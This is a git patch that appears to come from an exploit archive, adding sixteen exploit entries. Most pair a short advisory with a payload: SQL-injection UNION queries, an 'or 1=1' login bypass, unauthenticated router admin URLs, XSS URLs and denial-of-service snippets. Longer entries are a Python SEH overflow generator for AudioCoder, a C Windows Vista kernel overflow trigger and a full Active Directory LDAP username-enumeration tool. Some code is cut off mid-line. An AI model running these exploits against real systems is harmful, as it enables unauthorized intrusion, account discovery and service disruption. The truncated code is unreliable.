From 33db6270e60ba3930e8039c38586c03dd1c10602 Mon Sep 17 00:00:00 2001 From: Offensive Security Date: Mon, 31 Mar 2014 04:33:05 +0000 Subject: [PATCH] Updated 03_31_2014 --- files.csv | 16 ++ platforms/hardware/dos/32583.txt | 7 + platforms/hardware/remote/32582.txt | 12 ++ platforms/hardware/remote/32591.txt | 7 + platforms/multiple/dos/32581.txt | 13 ++ platforms/multiple/dos/32596.txt | 11 ++ platforms/php/webapps/32588.txt | 7 + platforms/php/webapps/32589.html | 7 + platforms/php/webapps/32592.txt | 7 + platforms/php/webapps/32593.txt | 7 + platforms/php/webapps/32594.txt | 7 + platforms/php/webapps/32595.txt | 7 + platforms/php/webapps/32597.txt | 10 ++ platforms/windows/dos/32587.txt | 7 + platforms/windows/local/32585.py | 47 ++++++ platforms/windows/local/32590.c | 57 +++++++ platforms/windows/remote/32586.py | 236 ++++++++++++++++++++++++++++ 17 files changed, 465 insertions(+) create mode 100755 platforms/hardware/dos/32583.txt create mode 100755 platforms/hardware/remote/32582.txt create mode 100755 platforms/hardware/remote/32591.txt create mode 100755 platforms/multiple/dos/32581.txt create mode 100755 platforms/multiple/dos/32596.txt create mode 100755 platforms/php/webapps/32588.txt create mode 100755 platforms/php/webapps/32589.html create mode 100755 platforms/php/webapps/32592.txt create mode 100755 platforms/php/webapps/32593.txt create mode 100755 platforms/php/webapps/32594.txt create mode 100755 platforms/php/webapps/32595.txt create mode 100755 platforms/php/webapps/32597.txt create mode 100755 platforms/windows/dos/32587.txt create mode 100755 platforms/windows/local/32585.py create mode 100755 platforms/windows/local/32590.c create mode 100755 platforms/windows/remote/32586.py diff --git a/files.csv b/files.csv index 75e06fba7..73e37d746 100755 --- a/files.csv +++ b/files.csv @@ -29343,3 +29343,19 @@ id,file,description,date,author,platform,type,port 32578,platforms/windows/remote/32578.py,"Yosemite Backup 8.70 'DtbClsLogin()' Remote Buffer Overflow Vulnerability",2008-11-11,"Abdul-Aziz Hariri",windows,remote,0 32579,platforms/jsp/webapps/32579.html,"Sun Java System Identity Manager 6.0/7.x Multiple Vulnerabilities",2008-11-11,"Richard Brain",jsp,webapps,0 32580,platforms/asp/webapps/32580.txt,"ASP-Nuke 2.0.7 - 'gotourl.asp' Open Redirect Vulnerability",2014-03-29,"felipe andrian",asp,webapps,0 +32581,platforms/multiple/dos/32581.txt,"Zope <= 2.11.2 PythonScript Multiple Remote Denial Of Service Vulnerabilities",2008-11-12,"Marc-Andre Lemburg",multiple,dos,0 +32582,platforms/hardware/remote/32582.txt,"Belkin F5D8233-4 Wireless N Router Multiple Scripts Authentication Bypass Vulnerabilities",2008-11-12,"Craig Heffner",hardware,remote,0 +32583,platforms/hardware/dos/32583.txt,"NETGEAR WGR614 Administration Interface Remote Denial of Service Vulnerability",2008-11-13,sr.,hardware,dos,0 +32585,platforms/windows/local/32585.py,"AudioCoder 0.8.29 - Memory Corruption (SEH)",2014-03-30,sajith,windows,local,0 +32586,platforms/windows/remote/32586.py,"Microsoft Active Directory LDAP Server Username Enumeration Weakness",2008-11-14,"Bernardo Damele",windows,remote,0 +32587,platforms/windows/dos/32587.txt,"VeryPDF PDFView ActiveX Component Heap Buffer Overflow Vulnerability",2008-11-15,r0ut3r,windows,dos,0 +32588,platforms/php/webapps/32588.txt,"BoutikOne CMS 'search_query' Parameter Cross Site Scripting Vulnerability",2008-11-17,d3v1l,php,webapps,0 +32589,platforms/php/webapps/32589.html,"Kimson CMS 'id' Parameter Cross Site Scripting Vulnerability",2008-11-18,md.r00t,php,webapps,0 +32590,platforms/windows/local/32590.c,"Microsoft Windows Vista 'iphlpapi.dll' Local Kernel Buffer Overflow Vulnerability",2008-11-19,"Marius Wachtler",windows,local,0 +32591,platforms/hardware/remote/32591.txt,"3Com Wireless 8760 Dual-Radio 11a/b/g PoE Multiple Security Vulnerabilities",2008-11-19,"Adrian Pastor",hardware,remote,0 +32592,platforms/php/webapps/32592.txt,"Easyedit CMS subcategory.php intSubCategoryID Parameter SQL Injection",2008-11-19,d3v1l,php,webapps,0 +32593,platforms/php/webapps/32593.txt,"Easyedit CMS page.php intPageID Parameter SQL Injection",2008-11-19,d3v1l,php,webapps,0 +32594,platforms/php/webapps/32594.txt,"Easyedit CMS news.php intPageID Parameter SQL Injection",2008-11-19,d3v1l,php,webapps,0 +32595,platforms/php/webapps/32595.txt,"Softbiz Classifieds Script Cross Site Scripting Vulnerability",2008-11-20,"Vahid Ezraeil",php,webapps,0 +32596,platforms/multiple/dos/32596.txt,"GeSHi 1.0.x XML Parsing Remote Denial Of Service Vulnerability",2008-11-20,"Christian Hoffmann",multiple,dos,0 +32597,platforms/php/webapps/32597.txt,"Pilot Group PG Roommate SQL Injection Vulnerability",2008-11-23,ZoRLu,php,webapps,0 diff --git a/platforms/hardware/dos/32583.txt b/platforms/hardware/dos/32583.txt new file mode 100755 index 000000000..538ad23b0 --- /dev/null +++ b/platforms/hardware/dos/32583.txt @@ -0,0 +1,7 @@ +source: http://www.securityfocus.com/bid/32290/info + +NETGEAR WGR614 is prone to a denial-of-service vulnerability that occurs in the administration web interface. + +Successful exploits will cause the affected web interface to crash, denying service to legitimate users. + +http://www.example.com/? \ No newline at end of file diff --git a/platforms/hardware/remote/32582.txt b/platforms/hardware/remote/32582.txt new file mode 100755 index 000000000..0207f7df0 --- /dev/null +++ b/platforms/hardware/remote/32582.txt @@ -0,0 +1,12 @@ +source: http://www.securityfocus.com/bid/32275/info + +The Belkin F5D8233-4 Wireless N Router is prone to multiple vulnerabilities because of a lack of authentication when users access specific administration scripts. + +Attackers can exploit these issues to perform administrative functions without authorization. + +Belkin F5D8233-4 is vulnerable; other devices may also be affected. + +Enable remote management on port 8080: /cgi-bin/system_setting.exe?remote_mgmt_enabled=1&remote_mgmt_port=8080 +Restore the router's default factory settings: /cgi-bin/restore.exe +Reboot the router: /cgi-bin/restart.exe +Log in with the default password": /cgi-bin/login.exe?pws= \ No newline at end of file diff --git a/platforms/hardware/remote/32591.txt b/platforms/hardware/remote/32591.txt new file mode 100755 index 000000000..b733452d1 --- /dev/null +++ b/platforms/hardware/remote/32591.txt @@ -0,0 +1,7 @@ +source: http://www.securityfocus.com/bid/32358/info + +3Com Wireless 8760 Dual-Radio 11a/b/g PoE Access Point is prone to multiple security vulnerabilities, including an HTML-injection issue and an authentication-bypass issue. + +Successfully exploiting these issues will allow an attacker to obtain administrative credentials, bypass security mechanisms, or run attacker-supplied HTML and script code in the context of the web administration interface. The attacker may then be able to steal cookie-based authentication credentials or control how the site is rendered to the user; other attacks are also possible. + +snmpset -v2c -c private 192.168.1.1 sysName.0 s "PAYLOAD_GOES_HERE" \ No newline at end of file diff --git a/platforms/multiple/dos/32581.txt b/platforms/multiple/dos/32581.txt new file mode 100755 index 000000000..b0a2d3e04 --- /dev/null +++ b/platforms/multiple/dos/32581.txt @@ -0,0 +1,13 @@ +source: http://www.securityfocus.com/bid/32267/info + +Zope is prone to multiple remote denial-of-service vulnerabilities. + +Remote attackers can exploit this issue to cause the Zope server to halt or to consume excessive server resources, resulting in denial-of-service conditions. + +These issues affect Zope 2.7.0 through 2.11.2. + +To halt the application: +raise SystemExit + +To consume excessive resources: +return 'foo'.encode('test.testall') \ No newline at end of file diff --git a/platforms/multiple/dos/32596.txt b/platforms/multiple/dos/32596.txt new file mode 100755 index 000000000..7f97fba20 --- /dev/null +++ b/platforms/multiple/dos/32596.txt @@ -0,0 +1,11 @@ +source: http://www.securityfocus.com/bid/32377/info + +GeSHi is prone to a remote denial-of-service vulnerability. + +Remote attackers can exploit this issue to cause the vulnerable application to enter an infinite loop, consuming excessive resources. + +This issue affects versions prior to GeSHi 1.0.8. + +The following example exploit is available: + +< \ No newline at end of file diff --git a/platforms/php/webapps/32588.txt b/platforms/php/webapps/32588.txt new file mode 100755 index 000000000..cf40a1690 --- /dev/null +++ b/platforms/php/webapps/32588.txt @@ -0,0 +1,7 @@ +source: http://www.securityfocus.com/bid/32321/info + +BoutikOne CMS is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data. + +An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. + +http://www.example.com/search.php?lang=1&sort=Ref&search_query='">>

XSS

 \ No newline at end of file diff --git a/platforms/php/webapps/32589.html b/platforms/php/webapps/32589.html new file mode 100755 index 000000000..4e798a973 --- /dev/null +++ b/platforms/php/webapps/32589.html @@ -0,0 +1,7 @@ +source: http://www.securityfocus.com/bid/32343/info + +Kimson CMS is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data. + +An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. + +http://www.example.com/[patch]/bbs.track.php?id= \ No newline at end of file diff --git a/platforms/php/webapps/32592.txt b/platforms/php/webapps/32592.txt new file mode 100755 index 000000000..a3afcc201 --- /dev/null +++ b/platforms/php/webapps/32592.txt @@ -0,0 +1,7 @@ +source: http://www.securityfocus.com/bid/32369/info + +Easyedit is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. + +Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. + +http://www.example.com/subcategory.php?intSubCategoryID=-1 UNION SELECT concat_ws(0x3a,version(),database(),user())-- \ No newline at end of file diff --git a/platforms/php/webapps/32593.txt b/platforms/php/webapps/32593.txt new file mode 100755 index 000000000..31d142ac5 --- /dev/null +++ b/platforms/php/webapps/32593.txt @@ -0,0 +1,7 @@ +source: http://www.securityfocus.com/bid/32369/info + +Easyedit is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. + +Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. + +http://www.example.com/page.php?intPageID=-1 UNION SELECT concat_ws(0x3a,version(),database(),user())-- \ No newline at end of file diff --git a/platforms/php/webapps/32594.txt b/platforms/php/webapps/32594.txt new file mode 100755 index 000000000..d04e00b86 --- /dev/null +++ b/platforms/php/webapps/32594.txt @@ -0,0 +1,7 @@ +source: http://www.securityfocus.com/bid/32369/info + +Easyedit is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. + +Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. + +http://www.example.com/news.php?intPageID=-1%20UNION%20SELECT%20concat_ws(0x3a,version(),database(),user())-- \ No newline at end of file diff --git a/platforms/php/webapps/32595.txt b/platforms/php/webapps/32595.txt new file mode 100755 index 000000000..291690d97 --- /dev/null +++ b/platforms/php/webapps/32595.txt @@ -0,0 +1,7 @@ +source: http://www.securityfocus.com/bid/32375/info + +Softbiz Classifieds Script is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data. + +An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. + +http://www.example.com/signinform.php?msg=Hacked%20By%20Vahid%20Ezraeil%20At%20North% \ No newline at end of file diff --git a/platforms/php/webapps/32597.txt b/platforms/php/webapps/32597.txt new file mode 100755 index 000000000..24583451e --- /dev/null +++ b/platforms/php/webapps/32597.txt @@ -0,0 +1,10 @@ +source: http://www.securityfocus.com/bid/32430/info + +Pilot Group PG Roommate is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. + +Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. + +The following proof of concept is available: + +username: admin ' or ' 1=1-- +password: anything \ No newline at end of file diff --git a/platforms/windows/dos/32587.txt b/platforms/windows/dos/32587.txt new file mode 100755 index 000000000..b93a49055 --- /dev/null +++ b/platforms/windows/dos/32587.txt @@ -0,0 +1,7 @@ +source: http://www.securityfocus.com/bid/32313/info + +The VeryPDF PDFView ActiveX control is prone to a heap buffer-overflow vulnerability because it fails to properly bounds-check user-supplied data before copying it into an insufficiently sized memory buffer. + +An attacker can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in denial-of-service conditions. + + \ No newline at end of file diff --git a/platforms/windows/local/32585.py b/platforms/windows/local/32585.py new file mode 100755 index 000000000..13a1fc366 --- /dev/null +++ b/platforms/windows/local/32585.py @@ -0,0 +1,47 @@ +########################################################### +#[~] Exploit Title: AudioCoder-0.8.29 Memory Corruption to Code execution[SEH] +#[~] Author: sajith +#[~] version: AudioCoder-0.8.29 +#[~] vulnerable app link: http://www.mediacoderhq.com/getfile.htm?site=dl.mediacoderhq.com&file=AudioCoder-0.8.29.exe +#[~]Tested in windows Xp sp3,english +########################################################### +import struct + +raw_input("Letz start fuzzing") + +print "POC by sajith shetty" + +try: + f = open("victim.m3u","w") + header = "http://" + buffer = 5000 + junk = "\x41" * 757 + nseh = "\xeb\x06\x90\x90" #jmp 6 bytes + + seh = struct.pack(' +#include +#include +#include + +#include +#include + +int main(int argc, char** argv) +{ + DWORD dwStatus; + MIB_IPFORWARD_ROW2 route; + + if (argc != 3) + { + printf("Usage: %s \n\n", argv[0]); + return -1; + } + + InitializeIpForwardEntry(&route); + + route.InterfaceIndex = atoi(argv[1]); + route.DestinationPrefix.Prefix.si_family = AF_INET; + + route.DestinationPrefix.Prefix.Ipv4.sin_addr.s_addr = inet_addr("1.2.3.0"); + route.DestinationPrefix.Prefix.Ipv4.sin_family = AF_INET; + + route.DestinationPrefix.PrefixLength = atoi(argv[2]); + + route.NextHop.Ipv4.sin_addr.s_addr = inet_addr("11.22.33.44"); + route.NextHop.Ipv4.sin_family = AF_INET; + + route.SitePrefixLength = 0; + + route.Protocol = MIB_IPPROTO_NETMGMT; + route.Origin = NlroManual; + route.ValidLifetime = 0xffffffff; + route.PreferredLifetime = 0xffffffff; + route.Metric = 1; + + dwStatus = CreateIpForwardEntry2(&route); + return dwStatus; +} diff --git a/platforms/windows/remote/32586.py b/platforms/windows/remote/32586.py new file mode 100755 index 000000000..671863409 --- /dev/null +++ b/platforms/windows/remote/32586.py @@ -0,0 +1,236 @@ +source: http://www.securityfocus.com/bid/32305/info + +Microsoft Active Directory is prone to a username-enumeration weakness because of a design error in the application when verifying user-supplied input. + +Attackers may exploit this weakness to discern valid usernames. This may aid them in brute-force password cracking or other attacks. + +This issue affects Active Directory on these versions of Windows: + +Windows 2000 SP4 +Windows Server 2003 SP1 and SP2 + +Other versions may also be affected. + +#!/usr/bin/env python + +''' +Microsoft Windows Active Directory LDAP Server Information +Disclosure Vulnerability Exploit +(c) 2008 Bernardo Damele A. G. + +License: GPLv2 + +Version: 0.1 + +References: +* http://labs.portcullis.co.uk/application/ldapuserenum/ +* http://www.portcullis-security.com/40.php + +Successfully tested on: +* Microsoft 2000 Server Service Pack 4 + Update Rollup 1 Full Patched at + October 2008 +* Microsoft 2003 Standard Service Pack 2 Full Patched at October 2008 +''' + + +import os +import re +import sys +import traceback + +try: + import ldap +except: + print 'ERROR: this tool requires python-ldap library to be installed, get it ' + print 'from http://python-ldap.sourceforge.net/ or apt-get install python-ldap' + sys.exit(1) + +from optparse import OptionError +from optparse import OptionParser + + +def LDAPconnect(target, port=389, version=ldap.VERSION3): + try: + # Connect to the remote LDAP server + l = ldap.open(target, port) + + # Set the LDAP protocol version + l.protocol_version = version + except: + print 'ERROR: unable to connect to the remote LDAP server' + + return l + + +def LDAPinfo(target, info=False): + # Connect to the remote LDAP server + l = LDAPconnect(target) + + # Retrieved machine domain + domain = None + + # Set search requirements and directory + baseDN = '' + searchScope = ldap.SCOPE_BASE + resultSet = [] + + # Retrieve all LDAP attributes + retrieveAttributes = None + searchFilter = 'objectClass=*' + + try: + # Get LDAP information + ldapResultId = l.search(baseDN, searchScope, searchFilter, retrieveAttributes) + except ldap.SERVER_DOWN, _: + print 'ERROR: unable to connect to the remote LDAP server' + return domain + + while True: + resultType, resultData = l.result(ldapResultId, 0) + + if not resultData: + break + elif resultType == ldap.RES_SEARCH_ENTRY: + resultSet.append(resultData) + + results = resultSet[0][0][1] + + if results: + if info: + print '\n[*] LDAP information:' + else: + print 'Unable to perform LDAP information gathering, probably anonymous LDAP bind is forbidden' + + domain = raw_input('Please, provide the machine domain yourself: ') + + return domain + + # Print LDAP information + for key, values in results.items(): + if info: + print '\t[*] %s' % key + + for value in values: + if info: + print '\t\t[*] %s' % value + + domainRegExp = re.search('DC=([\w\.]+)', value, re.I) + + if domainRegExp: + domain = domainRegExp.group(1) + + print + + return domain + + +def LDAPusersEnum(target, domain): + # Enumerated users + users = {} + + # Path to users list + usersFilePath = './users.txt' + + # Active Directory LDAP bind errors + # Source: http://www-01.ibm.com/support/docview.wss?rs=688&uid=swg21290631 + errorCodes = { + #'525': 'user not found', + '52e': 'invalid credentials', + '530': 'not permitted to logon at this time', + '531': 'not permitted to logon at this workstation', + '532': 'password expired', + '533': 'account disabled', + '701': 'account expired', + '773': 'user must reset password', + '775': 'user account locked', + } + + # Check if users list exists + if not os.path.exists(usersFilePath): + print 'ERROR: users list file %s not found' % usersFilePath + return + + print 'Going to enumerate users taking \'%s\' file as input\n' % usersFilePath + + # Load users from a text file + fd = open(usersFilePath, 'r') + + for user in fd.readlines(): + user = user.replace('\n', '').replace('\r', '') + + # Skip empty and commented lines + if not user or user[0] == '#': + continue + + # Set search requirements and directory + baseDN = '%s@%s' % (user, domain) + password = 'UnexistingPassword' + + try: + # Connect and perform an LDAP bind with an invalid password and + # request results + l = LDAPconnect(target) + num = l.bind_s(baseDN, password) + result = l.result(num) + + except ldap.SERVER_DOWN, _: + print 'ERROR: unable to connect to the remote LDAP server' + return + + except: + # Python LDAP library only handles a number of exception, not + # all of the possible ones so we except globally and parse the + # exception message to distinguish between existing and + # unexisting user + errorMessage = str(traceback.format_exc()) + + detectedErrorCode = re.search(' data ([\w]+),', errorMessage) + + if not detectedErrorCode: + continue + + detectedErrorCode = detectedErrorCode.group(1).lower() + + if detectedErrorCode in errorCodes.keys(): + users[user] = detectedErrorCode + + if users: + print '[*] Enumerated users:' + + for user, detectedErrorCode in users.items(): + print '\t[*] User: %s' % user + print '\t\t[*] LDAP error code: %s' % detectedErrorCode + print '\t\t[*] LDAP message: %s' % errorCodes[detectedErrorCode] + else: + print '[*] No users enumerated' + + +if __name__ == '__main__': + usage = '%s [-i] -t ' % sys.argv[0] + parser = OptionParser(usage=usage, version='0.1') + + try: + parser.add_option('-d', dest='descr', action='store_true', help='show description and exit') + + parser.add_option('-t', dest='target', help='target IP or hostname') + + parser.add_option('-i', '--info', dest='info', action='store_true', + help='show LDAP information gathering results') + + (args, _) = parser.parse_args() + + if not args.descr and not args.target: + parser.error('Missing the target, -h for help') + + except (OptionError, TypeError), e: + parser.error(e) + + if args.descr: + print __doc__ + sys.exit(0) + + domain = LDAPinfo(args.target, args.info) + + if domain: + domain = str(domain).upper() + LDAPusersEnum(args.target, domain)